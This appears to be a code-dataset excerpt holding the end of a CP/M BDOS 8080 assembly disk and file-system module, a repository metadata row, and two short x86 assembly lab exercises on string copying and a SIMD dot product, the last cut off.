dcr c! rz ;all done scanning?
;no, get next entry for scan
push d ;replace bit parity
lda single! ora a! jz scandm1
;single byte scan operation
push b ;save counter
push h ;save map address
mov c,m! mvi b,0 ;BC=block#
jmp scandm2
scandm1:
;double byte scan operation
dcr c ;count for double byte
push b ;save counter
mov c,m! inx h! mov b,m ;BC=block#
push h ;save map address
scandm2:
;arrive here with BC=block#, E=0/1
mov a,c! ora b ;skip if = 0000
cnz set$alloc$bit
;bit set to 0/1
pop h! inx h ;to next bit position
pop b ;recall counter
jmp scandm0 ;for another item
;
initialize:
;initialize the current disk
;lret = false ;set to true if $ file exists
;compute the length of the allocation vector - 2
lhld maxall! mvi c,3 ;perform maxall/8
;number of bytes in alloc vector is (maxall/8)+1
call hlrotr! inx h ;HL = maxall/8+1
mov b,h! mov c,l ;count down BC til zero
lhld alloca ;base of allocation vector
;fill the allocation vector with zeros
initial0:
mvi m,0! inx h ;alloc(i)=0
dcx b ;count length down
mov a,b! ora c! jnz initial0
;set the reserved space for the directory
lhld dirblk! xchg
lhld alloca ;HL=.alloc()
mov m,e! inx h! mov m,d ;sets reserved directory blks
;allocation vector initialized, home disk
call home
;cdrmax = 3 (scans at least one directory record)
lhld cdrmaxa! mvi m,3! inx h! mvi m,0
;cdrmax = 0000
call set$end$dir ;dcnt = enddir
;read directory entries and check for allocated storage
initial2:
mvi c,true! call read$dir
call end$of$dir! rz ;return if end of directory
;not end of directory, valid entry?
call getdptra ;HL = buffa + dptr
mvi a,empty! cmp m
jz initial2 ;go get another item
;not empty, user code the same?
lda usrcode
cmp m! jnz pdollar
;same user code, check for '$' submit
inx h! mov a,m ;first character
sui '$' ;dollar file?
jnz pdollar
;dollar file found, mark in lret
dcr a! sta lret ;lret = 255
pdollar:
;now scan the disk map for allocated blocks
mvi c,1 ;set to allocated
call scandm
call setcdr ;set cdrmax to dcnt
jmp initial2 ;for another entry
;
copy$dirloc:
;copy directory location to lret following
;delete, rename, ... ops
lda dirloc! sta lret
ret
;
compext:
;compare extent# in A with that in C, return nonzero
;if they do not match
push b ;save C's original value
push psw! lda extmsk! cma! mov b,a
;B has negated form of extent mask
mov a,c! ana b! mov c,a ;low bits removed from C
pop psw! ana b ;low bits removed from A
sub c! ani maxext ;set flags
pop b ;restore original values
ret
;
searchn:
;search for the next directory element, assuming
;a previous call on search which sets searcha and
;searchl
mvi c,false! call read$dir ;read next dir element
call end$of$dir! jz search$fin ;skip to end if so
;not end of directory, scan for match
lhld searcha! xchg ;DE=beginning of user fcb
ldax d ;first character
cpi empty ;keep scanning if empty
jz searchnext
;not empty, may be end of logical directory
push d ;save search address
call compcdr ;past logical end?
pop d ;recall address
jnc search$fin ;artificial stop
searchnext:
call getdptra ;HL = buffa+dptr
lda searchl! mov c,a ;length of search to c
mvi b,0 ;b counts up, c counts down
searchloop:
mov a,c! ora a! jz endsearch
ldax d! cpi '?'! jz searchok ;? matches all
;scan next character if not ubytes
mov a,b! cpi ubytes! jz searchok
;not the ubytes field, extent field?
cpi extnum ;may be extent field
ldax d ;fcb character
jz searchext ;skip to search extent
sub m! ani 7fh ;mask-out flags/extent modulus
jnz searchn ;skip if not matched
jmp searchok ;matched character
searchext:
;A has fcb character
;attempt an extent # match
push b ;save counters
mov c,m ;directory character to c
call compext ;compare user/dir char
pop b ;recall counters
jnz searchn ;skip if no match
searchok:
;current character matches
inx d! inx h! inr b! dcr c
jmp searchloop
endsearch:
;entire name matches, return dir position
lda dcnt! ani dskmsk! sta lret
;lret = low(dcnt) and 11b
lxi h,dirloc! mov a,m! ral! rnc ;dirloc=0ffh?
;yes, change it to 0 to mark as found
xra a! mov m,a ;dirloc=0
ret
search$fin:
;end of directory, or empty name
call set$end$dir ;may be artifical end
mvi a,255! sta lret! ret
;
search:
;search for directory element of length C at info
mvi a,0ffh! sta dirloc ;changed if actually found
lxi h,searchl! mov m,c ;searchl = C
lhld info! shld searcha ;searcha = info
call set$end$dir ;dcnt = enddir
call home ;to start at the beginning
jmp searchn ;start the search operation
;
delete:
;delete the currently addressed file
call check$write ;write protected?
mvi c,extnum! call search ;search through file type
delete0:
;loop while directory matches
call end$of$dir! rz ;stop if end
;set each non zero disk map entry to 0
;in the allocation vector
;may be r/o file
call check$rodir ;ro disk error if found
call getdptra ;HL=.buff(dptr)
mvi m,empty
mvi c,0! call scandm ;alloc elts set to 0
call wrdir ;write the directory
call searchn ;to next element
jmp delete0 ;for another record
;
get$block:
;given allocation vector position BC, find the zero bit
;closest to this position by searching left and right.
;if found, set the bit to one and return the bit position
;in hl. if not found (i.e., we pass 0 on the left, or
;maxall on the right), return 0000 in hl
mov d,b! mov e,c ;copy of starting position to de
lefttst:
mov a,c! ora b! jz righttst ;skip if left=0000
;left not at position zero, bit zero?
dcx b! push d! push b ;left,right pushed
call getallocbit
rar! jnc retblock ;return block number if zero
;bit is one, so try the right
pop b! pop d ;left, right restored
righttst:
lhld maxall ;value of maximum allocation#
mov a,e! sub l! mov a,d! sbb h ;right=maxall?
jnc retblock0 ;return block 0000 if so
inx d! push b! push d ;left, right pushed
mov b,d! mov c,e ;ready right for call
call getallocbit
rar! jnc retblock ;return block number if zero
pop d! pop b ;restore left and right pointers
jmp lefttst ;for another attempt
retblock:
ral! inr a ;bit back into position and set to 1
;d contains the number of shifts required to reposition
call rotr ;move bit back to position and store
pop h! pop d ;HL returned value, DE discarded
ret
retblock0:
;cannot find an available bit, return 0000
lxi h,0000h! ret
;
copy$dir:
;copy fcb information starting at C for E bytes
;into the currently addressed directory entry
push d ;save length for later
mvi b,0 ;double index to BC
lhld info ;HL = source for data
dad b! xchg ;DE=.fcb(C), source for copy
call getdptra ;HL=.buff(dptr), destination
pop b ;DE=source, HL=dest, C=length
call move ;data moved
seek$copy:
;enter from close to seek and copy current element
call seek$dir ;to the directory element
jmp wrdir ;write the directory element
;ret
;
copy$fcb:
;copy the entire file control block
mvi c,0! mvi e,fcblen ;start at 0, to fcblen-1
jmp copy$dir
;
rename:
;rename the file described by the first half of
;the currently addressed file control block. the
;new name is contained in the last half of the
;currently addressed file conrol block. the file
;name and type are changed, but the reel number
;is ignored. the user number is identical
call check$write ;may be write protected
;search up to the extent field
mvi c,extnum! call search
;copy position 0
lhld info! mov a,m ;HL=.fcb(0), A=fcb(0)
lxi d,dskmap! dad d;HL=.fcb(dskmap)
mov m,a ;fcb(dskmap)=fcb(0)
;assume the same disk drive for new named file
rename0:
call end$of$dir! rz ;stop at end of dir
;not end of directory, rename next element
call check$rodir ;may be read-only file
mvi c,dskmap! mvi e,extnum! call copy$dir
;element renamed, move to next
call searchn
jmp rename0
;
indicators:
;set file indicators for current fcb
mvi c,extnum! call search ;through file type
indic0:
call end$of$dir! rz ;stop at end of dir
;not end of directory, continue to change
mvi c,0! mvi e,extnum ;copy name
call copy$dir
call searchn
jmp indic0
;
open:
;search for the directory entry, copy to fcb
mvi c,namlen! call search
call end$of$dir! rz ;return with lret=255 if end
;not end of directory, copy fcb information
open$copy:
;(referenced below to copy fcb info)
call getexta! mov a,m! push psw! push h ;save extent#
call getdptra! xchg ;DE = .buff(dptr)
lhld info ;HL=.fcb(0)
mvi c,nxtrec ;length of move operation
push d ;save .buff(dptr)
call move ;from .buff(dptr) to .fcb(0)
;note that entire fcb is copied, including indicators
call setfwf ;sets file write flag
pop d! lxi h,extnum! dad d ;HL=.buff(dptr+extnum)
mov c,m ;C = directory extent number
lxi h,reccnt! dad d ;HL=.buff(dptr+reccnt)
mov b,m ;B holds directory record count
pop h! pop psw! mov m,a ;restore extent number
;HL = .user extent#, B = dir rec cnt, C = dir extent#
;if user ext < dir ext then user := 128 records
;if user ext = dir ext then user := dir records
;if user ext > dir ext then user := 0 records
mov a,c! cmp m! mov a,b ;ready dir reccnt
jz open$rcnt ;if same, user gets dir reccnt
mvi a,0! jc open$rcnt ;user is larger
mvi a,128 ;directory is larger
open$rcnt: ;A has record count to fill
lhld info! lxi d,reccnt! dad d! mov m,a
ret
;
mergezero:
;HL = .fcb1(i), DE = .fcb2(i),
;if fcb1(i) = 0 then fcb1(i) := fcb2(i)
mov a,m! inx h! ora m! dcx h! rnz ;return if = 0000
ldax d! mov m,a! inx d! inx h ;low byte copied
ldax d! mov m,a! dcx d! dcx h ;back to input form
ret
;
close:
;locate the directory element and re-write it
xra a! sta lret
call nowrite! rnz ;skip close if r/o disk
;check file write flag - 0 indicates written
call getmodnum ;fcb(modnum) in A
ani fwfmsk! rnz ;return if bit remains set
mvi c,namlen! call search ;locate file
call end$of$dir! rz ;return if not found
;merge the disk map at info with that at buff(dptr)
lxi b,dskmap! call getdptra
dad b! xchg ;DE is .buff(dptr+16)
lhld info! dad b ;DE=.buff(dptr+16), HL=.fcb(16)
mvi c,(fcblen-dskmap) ;length of single byte dm
merge0:
lda single! ora a! jz merged ;skip to double
;this is a single byte map
;if fcb(i) = 0 then fcb(i) = buff(i)
;if buff(i) = 0 then buff(i) = fcb(i)
;if fcb(i) <> buff(i) then error
mov a,m! ora a! ldax d! jnz fcbnzero
;fcb(i) = 0
mov m,a ;fcb(i) = buff(i)
fcbnzero:
ora a! jnz buffnzero
;buff(i) = 0
mov a,m! stax d ;buff(i)=fcb(i)
buffnzero:
cmp m! jnz mergerr ;fcb(i) = buff(i)?
jmp dmset ;if merge ok
merged:
;this is a double byte merge operation
call mergezero ;buff = fcb if buff 0000
xchg! call mergezero! xchg ;fcb = buff if fcb 0000
;they should be identical at this point
ldax d! cmp m! jnz mergerr ;low same?
inx d! inx h ;to high byte
ldax d! cmp m! jnz mergerr ;high same?
;merge operation ok for this pair
dcr c ;extra count for double byte
dmset:
inx d! inx h ;to next byte position
dcr c! jnz merge0 ;for more
;end of disk map merge, check record count
;DE = .buff(dptr)+32, HL = .fcb(32)
lxi b,-(fcblen-extnum)! dad b! xchg! dad b
;DE = .fcb(extnum), HL = .buff(dptr+extnum)
ldax d ;current user extent number
;if fcb(ext) >= buff(fcb) then
;buff(ext) := fcb(ext), buff(rec) := fcb(rec)
cmp m! jc endmerge
;fcb extent number >= dir extent number
mov m,a ;buff(ext) = fcb(ext)
;update directory record count field
lxi b,(reccnt-extnum)! dad b! xchg! dad b
;DE=.buff(reccnt), HL=.fcb(reccnt)
mov a,m! stax d ;buff(reccnt)=fcb(reccnt)
endmerge:
mvi a,true! sta fcb$copied ;mark as copied
call seek$copy ;ok to "wrdir" here - 1.4 compat
ret
mergerr:
;elements did not merge correctly
lxi h,lret! dcr m ;=255 non zero flag set
ret
;
make:
;create a new file by creating a directory entry
;then opening the file
call check$write ;may be write protected
lhld info! push h ;save fcb address, look for e5
lxi h,efcb! shld info ;info = .empty
mvi c,1! call search ;length 1 match on empty entry
call end$of$dir ;zero flag set if no space
pop h ;recall info address
shld info ;in case we return here
rz ;return with error condition 255 if not found
xchg ;DE = info address
;clear the remainder of the fcb
lxi h,namlen! dad d ;HL=.fcb(namlen)
mvi c,fcblen-namlen ;number of bytes to fill
xra a ;clear accumulator to 00 for fill
make0:
mov m,a! inx h! dcr c! jnz make0
lxi h,ubytes! dad d ;HL = .fcb(ubytes)
mov m,a ;fcb(ubytes) = 0
call setcdr ;may have extended the directory
;now copy entry to the directory
call copy$fcb
;and set the file write flag to "1"
jmp setfwf
;ret
;
open$reel:
;close the current extent, and open the next one
;if possible. RMF is true if in read mode
xra a! sta fcb$copied ;set true if actually copied
call close ;close current extent
;lret remains at enddir if we cannot open the next ext
call end$of$dir! rz ;return if end
;increment extent number
lhld info! lxi b,extnum! dad b ;HL=.fcb(extnum)
mov a,m! inr a! ani maxext! mov m,a ;fcb(extnum)=++1
jz open$mod ;move to next module if zero
;may be in the same extent group
mov b,a! lda extmsk! ana b
;if result is zero, then not in the same group
lxi h,fcb$copied ;true if the fcb was copied to directory
ana m ;produces a 00 in accumulator if not written
jz open$reel0 ;go to next physical extent
;result is non zero, so we must be in same logical ext
jmp open$reel1 ;to copy fcb information
open$mod:
;extent number overflow, go to next module
lxi b,(modnum-extnum)! dad b ;HL=.fcb(modnum)
inr m ;fcb(modnum)=++1
;module number incremented, check for overflow
mov a,m! ani maxmod ;mask high order bits
jz open$r$err ;cannot overflow to zero
;otherwise, ok to continue with new module
open$reel0:
mvi c,namlen! call search ;next extent found?
call end$of$dir! jnz open$reel1
;end of file encountered
lda rmf! inr a ;0ffh becomes 00 if read
jz open$r$err ;sets lret = 1
;try to extend the current file
call make
;cannot be end of directory
call end$of$dir
jz open$r$err ;with lret = 1
jmp open$reel2
open$reel1:
;not end of file, open
call open$copy
open$reel2:
call getfcb ;set parameters
xra a! sta lret ;lret = 0
ret ;with lret = 0
open$r$err:
;cannot move to next extent of this file
call setlret1 ;lret = 1
jmp setfwf ;ensure that it will not be closed
;ret
;
seqdiskread:
;sequential disk read operation
mvi a,1! sta seqio
;drop through to diskread
;
diskread: ;(may enter from seqdiskread)
mvi a,true! sta rmf ;read mode flag = true (open$reel)
;read the next record from the current fcb
call getfcb ;sets parameters for the read
lda vrecord! lxi h,rcount! cmp m ;vrecord-rcount
;skip if rcount > vrecord
jc recordok
;not enough records in the extent
;record count must be 128 to continue
cpi 128 ;vrecord = 128?
jnz diskeof ;skip if vrecord<>128
call open$reel ;go to next extent if so
xra a! sta vrecord ;vrecord=00
;now check for open ok
lda lret! ora a! jnz diskeof ;stop at eof
recordok:
;arrive with fcb addressing a record to read
call index
;error 2 if reading unwritten data
;(returns 1 to be compatible with 1.4)
call allocated ;arecord=0000?
jz diskeof
;record has been allocated, read it
call atran ;arecord now a disk address
call seek ;to proper track,sector
call rdbuff ;to dma address
call setfcb ;replace parameters
ret
diskeof:
jmp setlret1 ;lret = 1
;ret
;
seqdiskwrite:
;sequential disk write
mvi a,1! sta seqio
;drop through to diskwrite
;
diskwrite: ;(may enter here from seqdiskwrite above)
mvi a,false! sta rmf ;read mode flag
;write record to currently selected file
call check$write ;in case write protected
lhld info ;HL = .fcb(0)
call check$rofile ;may be a read-only file
call getfcb ;to set local parameters
lda vrecord! cpi lstrec+1 ;vrecord-128
;skip if vrecord > lstrec
jc diskwr0
;vrecord = 128, cannot open next extent
call setlret1! ret ;lret=1
diskwr0:
;can write the next record, so continue
call index
call allocated
mvi c,0 ;marked as normal write operation for wrbuff
jnz diskwr1
;not allocated
;the argument to getblock is the starting
;position for the disk search, and should be
;the last allocated block for this file, or
;the value 0 if no space has been allocated
call dm$position
sta dminx ;save for later
lxi b,0000h ;may use block zero
ora a! jz nopblock ;skip if no previous block
;previous block exists at A
mov c,a! dcx b ;previous block # in BC
call getdm ;previous block # to HL
mov b,h! mov c,l ;BC=prev block#
nopblock:
;BC = 0000, or previous block #
call get$block ;block # to HL
;arrive here with block# or zero
mov a,l! ora h! jnz blockok
;cannot find a block to allocate
mvi a,2! sta lret! ret ;lret=2
blockok:
;allocated block number is in HL
shld arecord
xchg ;block number to DE
lhld info! lxi b,dskmap! dad b ;HL=.fcb(dskmap)
lda single! ora a ;set flags for single byte dm
lda dminx ;recall dm index
jz allocwd ;skip if allocating word
;allocating a byte value
call addh! mov m,e ;single byte alloc
jmp diskwru ;to continue
allocwd:
;allocate a word value
mov c,a! mvi b,0 ;double(dminx)
dad b! dad b ;HL=.fcb(dminx*2)
mov m,e! inx h! mov m,d ;double wd
diskwru:
;disk write to previously unallocated block
mvi c,2 ;marked as unallocated write
diskwr1:
;continue the write operation of no allocation error
;C = 0 if normal write, 2 if to prev unalloc block
lda lret! ora a! rnz ;stop if non zero returned value
push b ;save write flag
call atran ;arecord set
call seek ;to proper file position
pop b! push b ;restore/save write flag (C=2 if new block)
call wrbuff ;written to disk
pop b ;C = 2 if a new block was allocated, 0 if not
;increment record count if rcount<=vrecord
lda vrecord! lxi h,rcount! cmp m ;vrecord-rcount
jc diskwr2
;rcount <= vrecord
mov m,a! inr m ;rcount = vrecord+1
mvi c,2 ;mark as record count incremented
diskwr2:
;A has vrecord, C=2 if new block or new record#
dcr c! dcr c! jnz noupdate
push psw ;save vrecord value
call getmodnum ;HL=.fcb(modnum), A=fcb(modnum)
;reset the file write flag to mark as written fcb
ani (not fwfmsk) and 0ffh ;bit reset
mov m,a ;fcb(modnum) = fcb(modnum) and 7fh
pop psw ;restore vrecord
noupdate:
;check for end of extent, if found attempt to open
;next extent in preparation for next write
cpi lstrec ;vrecord=lstrec?
jnz diskwr3 ;skip if not
;may be random access write, if so we are done
lda seqio! ora a! jz diskwr3 ;skip next extent open op
;update current fcb before going to next extent
call setfcb
call open$reel ;rmf=false
;vrecord remains at lstrec causing eof if
;no more directory space is available
lxi h,lret! mov a,m! ora a! jnz nospace
;space available, set vrecord=255
dcr a! sta vrecord ;goes to 00 next time
nospace:
mvi m,0 ;lret = 00 for returned value
diskwr3:
jmp setfcb ;replace parameters
;ret
;
rseek:
;random access seek operation, C=0ffh if read mode
;fcb is assumed to address an active file control block
;(modnum has been set to 1100$0000b if previous bad seek)
xra a! sta seqio ;marked as random access operation
push b ;save r/w flag
lhld info! xchg ;DE will hold base of fcb
lxi h,ranrec! dad d ;HL=.fcb(ranrec)
mov a,m! ani 7fh! push psw ;record number
mov a,m! ral ;cy=lsb of extent#
inx h! mov a,m! ral! ani 11111b ;A=ext#
mov c,a ;C holds extent number, record stacked
mov a,m! rar! rar! rar! rar! ani 1111b ;mod#
mov b,a ;B holds module#, C holds ext#
pop psw ;recall sought record #
;check to insure that high byte of ran rec = 00
inx h! mov l,m ;l=high byte (must be 00)
inr l! dcr l! mvi l,6 ;zero flag, l=6
;produce error 6, seek past physical eod
jnz seekerr
;otherwise, high byte = 0, A = sought record
lxi h,nxtrec! dad d ;HL = .fcb(nxtrec)
mov m,a ;sought rec# stored away
;arrive here with B=mod#, C=ext#, DE=.fcb, rec stored
;the r/w flag is still stacked. compare fcb values
lxi h,extnum! dad d! mov a,c ;A=seek ext#
sub m! jnz ranclose ;tests for = extents
;extents match, check mod#
lxi h,modnum! dad d! mov a,b ;B=seek mod#
;could be overflow at eof, producing module#
;of 90H or 10H, so compare all but fwf
sub m! ani 7fh! jz seekok ;same?
ranclose:
push b! push d ;save seek mod#,ext#, .fcb
call close ;current extent closed
pop d! pop b ;recall parameters and fill
mvi l,3 ;cannot close error #3
lda lret! inr a! jz badseek
lxi h,extnum! dad d! mov m,c ;fcb(extnum)=ext#
lxi h,modnum! dad d! mov m,b ;fcb(modnum)=mod#
call open ;is the file present?
lda lret! inr a! jnz seekok ;open successful?
;cannot open the file, read mode?
pop b ;r/w flag to c (=0ffh if read)
push b ;everyone expects this item stacked
mvi l,4 ;seek to unwritten extent #4
inr c ;becomes 00 if read operation
jz badseek ;skip to error if read operation
;write operation, make new extent
call make
mvi l,5 ;cannot create new extent #5
lda lret! inr a! jz badseek ;no dir space
;file make operation successful
seekok:
pop b ;discard r/w flag
xra a! sta lret! ret ;with zero set
badseek:
;fcb no longer contains a valid fcb, mark
;with 1100$000b in modnum field so that it
;appears as overflow with file write flag set
push h ;save error flag
call getmodnum ;HL = .modnum
mvi m,1100$0000b
pop h ;and drop through
seekerr:
pop b ;discard r/w flag
mov a,l! sta lret ;lret=#, nonzero
;setfwf returns non-zero accumulator for err
jmp setfwf ;flag set, so subsequent close ok
;ret
;
randiskread:
;random disk read operation
mvi c,true ;marked as read operation
call rseek
cz diskread ;if seek successful
ret
;
randiskwrite:
;random disk write operation
mvi c,false ;marked as write operation
call rseek
cz diskwrite ;if seek successful
ret
;
compute$rr:
;compute random record position for getfilesize/setrandom
xchg! dad d
;DE=.buf(dptr) or .fcb(0), HL = .f(nxtrec/reccnt)
mov c,m! mvi b,0 ;BC = 0000 0000 ?rrr rrrr
lxi h,extnum! dad d! mov a,m! rrc! ani 80h ;A=e000 0000
add c! mov c,a! mvi a,0! adc b! mov b,a
;BC = 0000 000? errrr rrrr
mov a,m! rrc! ani 0fh! add b! mov b,a
;BC = 000? eeee errrr rrrr
lxi h,modnum! dad d! mov a,m ;A=XXX? mmmm
add a! add a! add a! add a ;cy=? A=mmmm 0000
push psw! add b! mov b,a
;cy=?, BC = mmmm eeee errr rrrr
push psw ;possible second carry
pop h ;cy = lsb of L
mov a,l ;cy = lsb of A
pop h ;cy = lsb of L
ora l ;cy/cy = lsb of A
ani 1 ;A = 0000 000? possible carry-out
ret
;
getfilesize:
;compute logical file size for current fcb
mvi c,extnum
call search
;zero the receiving ranrec field
lhld info! lxi d,ranrec! dad d! push h ;save position
mov m,d! inx h! mov m,d! inx h! mov m,d;=00 00 00
getsize:
call end$of$dir
jz setsize
;current fcb addressed by dptr
call getdptra! lxi d,reccnt ;ready for compute size
call compute$rr
;A=0000 000? BC = mmmm eeee errr rrrr
;compare with memory, larger?
pop h! push h ;recall, replace .fcb(ranrec)
mov e,a ;save cy
mov a,c! sub m! inx h ;ls byte
mov a,b! sbb m! inx h ;middle byte
mov a,e! sbb m ;carry if .fcb(ranrec) > directory
jc getnextsize ;for another try
;fcb is less or equal, fill from directory
mov m,e! dcx h! mov m,b! dcx h! mov m,c
getnextsize:
call searchn
jmp getsize
setsize:
pop h ;discard .fcb(ranrec)
ret
;
setrandom:
;set random record from the current file control block
lhld info! lxi d,nxtrec ;ready params for computesize
call compute$rr ;DE=info, A=cy, BC=mmmm eeee errr rrrr
lxi h,ranrec! dad d ;HL = .fcb(ranrec)
mov m,c! inx h! mov m,b! inx h! mov m,a ;to ranrec
ret
;
select:
;select disk info for subsequent input or output ops
lhld dlog! lda curdsk! mov c,a! call hlrotr
push h! xchg ;save it for test below, send to seldsk
call selectdisk! pop h ;recall dlog vector
cz sel$error ;returns true if select ok
;is the disk logged in?
mov a,l! rar! rc ;return if bit is set
;disk not logged in, set bit and initialize
lhld dlog! mov c,l! mov b,h ;call ready
call set$cdisk! shld dlog ;dlog=set$cdisk(dlog)
jmp initialize
;ret
;
curselect:
lda linfo! lxi h,curdsk! cmp m! rz ;skip if linfo=curdsk
mov m,a ;curdsk=info
jmp select
;ret
;
reselect:
;check current fcb to see if reselection necessary
mvi a,true! sta resel ;mark possible reselect
lhld info! mov a,m ;drive select code
ani 1$1111b ;non zero is auto drive select
dcr a ;drive code normalized to 0..30, or 255
sta linfo ;save drive code
cpi 30! jnc noselect
;auto select function, save curdsk
lda curdsk! sta olddsk ;olddsk=curdsk
mov a,m! sta fcbdsk ;save drive code
ani 1110$0000b! mov m,a ;preserve hi bits
call curselect
noselect:
;set user code
lda usrcode ;0...31
lhld info! ora m! mov m,a
ret
;
; individual function handlers
func12:
;return version number
mvi a,dvers! sta lret ;lret = dvers (high = 00)
ret ;jmp goback
;
func13:
;reset disk system - initialize to disk 0
lxi h,0! shld rodsk! shld dlog
xra a! sta curdsk ;note that usrcode remains unchanged
lxi h,tbuff! shld dmaad ;dmaad = tbuff
call setdata ;to data dma address
jmp select
;ret ;jmp goback
;
func14:
;select disk info
jmp curselect
;ret ;jmp goback
;
func15:
;open file
call clrmodnum ;clear the module number
call reselect
jmp open
;ret ;jmp goback
;
func16:
;close file
call reselect
jmp close
;ret ;jmp goback
;
func17:
;search for first occurrence of a file
mvi c,0 ;length assuming '?' true
lhld info! mov a,m! cpi '?' ;no reselect if ?
jz qselect ;skip reselect if so
;normal search
call clrmodnum ;module number zeroed
call reselect
mvi c,namlen
qselect:
call search
jmp dir$to$user ;copy directory entry to user
;ret ;jmp goback
;
func18:
;search for next occurrence of a file name
lhld searcha! shld info
call reselect! call searchn
jmp dir$to$user ;copy directory entry to user
;ret ;jmp goback
;
func19:
;delete a file
call reselect
call delete
jmp copy$dirloc
;ret ;jmp goback
;
func20:
;read a file
call reselect
call seqdiskread
ret ;jmp goback
;
func21:
;write a file
call reselect
call seqdiskwrite
ret ;jmp goback
;
func22:
;make a file
call clrmodnum
call reselect
jmp make
;ret ;jmp goback
;
func23:
;rename a file
call reselect
call rename
jmp copy$dirloc
;ret ;jmp goback
;
func24:
;return the login vector
lhld dlog! shld aret
ret ;jmp goback
;
func25:
;return selected disk number
lda curdsk! sta lret
ret ;jmp goback
;
func26:
;set the subsequent dma address to info
lhld info! shld dmaad ;dmaad = info
jmp setdata ;to data dma address
;ret ;jmp goback
;
func27:
;return the login vector address
lhld alloca! shld aret
ret ;jmp goback
;
func28:
;write protect current disk
jmp set$ro
;ret ;jmp goback
;
func29:
;return r/o bit vector
lhld rodsk! shld aret
ret ;jmp goback
;
func30:
;set file indicators
call reselect
call indicators
jmp copy$dirloc ;lret=dirloc
;ret ;jmp goback
;
func31:
;return address of disk parameter block
lhld dpbaddr! shld aret
ret ;jmp goback
;
func32:
;set user code
lda linfo! cpi 0ffh! jnz setusrcode
;interrogate user code instead
lda usrcode! sta lret ;lret=usrcode
ret ;jmp goback
setusrcode:
ani 1fh! sta usrcode
ret ;jmp goback
;
func33:
;random disk read operation
call reselect
jmp randiskread ;to perform the disk read
;ret ;jmp goback
;
func34:
;random disk write operation
call reselect
jmp randiskwrite ;to perform the disk write
;ret ;jmp goback
;
func35:
;return file size (0-65536)
call reselect
jmp getfilesize
;ret ;jmp goback
;
func36:
;set random record
jmp setrandom
;ret ;jmp goback
;
goback:
;arrive here at end of processing to return to user
lda resel! ora a! jz retmon
;reselection may have taken place
lhld info! mvi m,0 ;fcb(0)=0
lda fcbdsk! ora a! jz retmon
;restore disk number
mov m,a ;fcb(0)=fcbdsk
lda olddsk! sta linfo! call curselect
;
; return from the disk monitor
retmon:
lhld entsp! sphl ;user stack restored
lhld aret! mov a,l! mov b,h ;BA = HL = aret
ret
;
; data areas
;
; initialized data
efcb: db empty ;0e5=available dir entry
rodsk: dw 0 ;read only disk vector
dlog: dw 0 ;logged-in disks
dmaad: dw tbuff ;initial dma address
;
; curtrka - alloca are set upon disk select
; (data must be adjacent, do not insert variables)
; (address of translate vector, not used)
cdrmaxa:ds word ;pointer to cur dir max value
curtrka:ds word ;current track address
curreca:ds word ;current record address
buffa: ds word ;pointer to directory dma address
dpbaddr:ds word ;current disk parameter block address
checka: ds word ;current checksum vector address
alloca: ds word ;current allocation vector address
addlist equ $-buffa ;address list size
;
; sectpt - offset obtained from disk parm block at dpbaddr
; (data must be adjacent, do not insert variables)
sectpt: ds word ;sectors per track
blkshf: ds byte ;block shift factor
blkmsk: ds byte ;block mask
extmsk: ds byte ;extent mask
maxall: ds word ;maximum allocation number
dirmax: ds word ;largest directory number
dirblk: ds word ;reserved allocation bits for directory
chksiz: ds word ;size of checksum vector
offset: ds word ;offset tracks at beginning
dpblist equ $-sectpt ;size of area
;
; local variables
tranv: ds word ;address of translate vector
fcb$copied:
ds byte ;set true if copy$fcb called
rmf: ds byte ;read mode flag for open$reel
dirloc: ds byte ;directory flag in rename, etc.
seqio: ds byte ;1 if sequential i/o
linfo: ds byte ;low(info)
dminx: ds byte ;local for diskwrite
searchl:ds byte ;search length
searcha:ds word ;search address
tinfo: ds word ;temp for info in "make"
single: ds byte ;set true if single byte allocation map
resel: ds byte ;reselection flag
olddsk: ds byte ;disk on entry to bdos
fcbdsk: ds byte ;disk named in fcb
rcount: ds byte ;record count in current fcb
extval: ds byte ;extent number and extmsk
vrecord:ds word ;current virtual record
arecord:ds word ;current actual record
;
; local variables for directory access
dptr: ds byte ;directory pointer 0,1,2,3
dcnt: ds word ;directory counter 0,1,...,dirmax
drec: ds word ;directory record 0,1,...,dirmax/4
;
bios equ ($ and 0ff00h)+100h ;next module
end
| 29.150237
| 81
| 0.694848
|
bf1fb3a09a2e7ec2f8063eecd42b02413b57679a
| 283
|
asm
|
Assembly
|
Microprocessor_Interfacing_CSE_2006/Strings_Lab_7/data_scan.asm
|
aadhityasw/VIT-Labs
|
2c449f64f4fdd8c0ed5f2b51d05a7c586e6ab2ab
|
[
"CC0-1.0"
] | 2
|
2021-11-18T05:30:24.000Z
|
2022-03-07T06:28:06.000Z
|
Microprocessor_Interfacing_CSE_2006/Strings_Lab_7/data_scan.asm
|
aadhityasw/VIT-Labs
|
2c449f64f4fdd8c0ed5f2b51d05a7c586e6ab2ab
|
[
"CC0-1.0"
] | null | null | null |
Microprocessor_Interfacing_CSE_2006/Strings_Lab_7/data_scan.asm
|
aadhityasw/VIT-Labs
|
2c449f64f4fdd8c0ed5f2b51d05a7c586e6ab2ab
|
[
"CC0-1.0"
] | 3
|
2021-10-14T01:10:34.000Z
|
2022-03-18T14:33:52.000Z
|
assume cs:code, ds:data
data segment
r1 db 1ah,2bh,3ch,4dh,5eh,6fh
data ends
code segment
start:
mov di,599
mov ax,data
mov ds,ax
mov es,ax
mov ax,0000
lea si,var1
mov cl,[si]
mov ch,00h
inc si
cld
rep movsb
hlt
code ends
end start
| 14.15
| 33
| 0.614841
|
0373c7873840abe4be2cf7356e5b7ab8ebc2a50f
| 824
|
asm
|
Assembly
|
Ficheiros assembly (TP's e Testes)/ex7-folhasimd.asm
|
pemesteves/mpcp-1718
|
a0255feb961fc6cb33f1dae60bf0bfa19ade081d
|
[
"MIT"
] | null | null | null |
Ficheiros assembly (TP's e Testes)/ex7-folhasimd.asm
|
pemesteves/mpcp-1718
|
a0255feb961fc6cb33f1dae60bf0bfa19ade081d
|
[
"MIT"
] | null | null | null |
Ficheiros assembly (TP's e Testes)/ex7-folhasimd.asm
|
pemesteves/mpcp-1718
|
a0255feb961fc6cb33f1dae60bf0bfa19ade081d
|
[
"MIT"
] | null | null | null |
include mpcp.inc
.xmm
;; declaracoes de dados (variaveis globais)
.data
X REAL4 2.5, 1.2, -5.3, -3.2
Y REAL4 1.3, 5.4, 3.2, -8.6
result REAL4 ?
msg BYTE "%fl", 13, 10, 0
;; seccao de codigo principal
.code
prodint PROTO vectX:PTR REAL4, vectY:PTR REAL4, N:dword, res:PTR REAL4
main PROC C
invoke prodint, offset X, offset Y, lengthof X, offset result
invoke printf, offset msg, result
invoke _getch
invoke ExitProcess, 0
main ENDP
;; -----------------------------
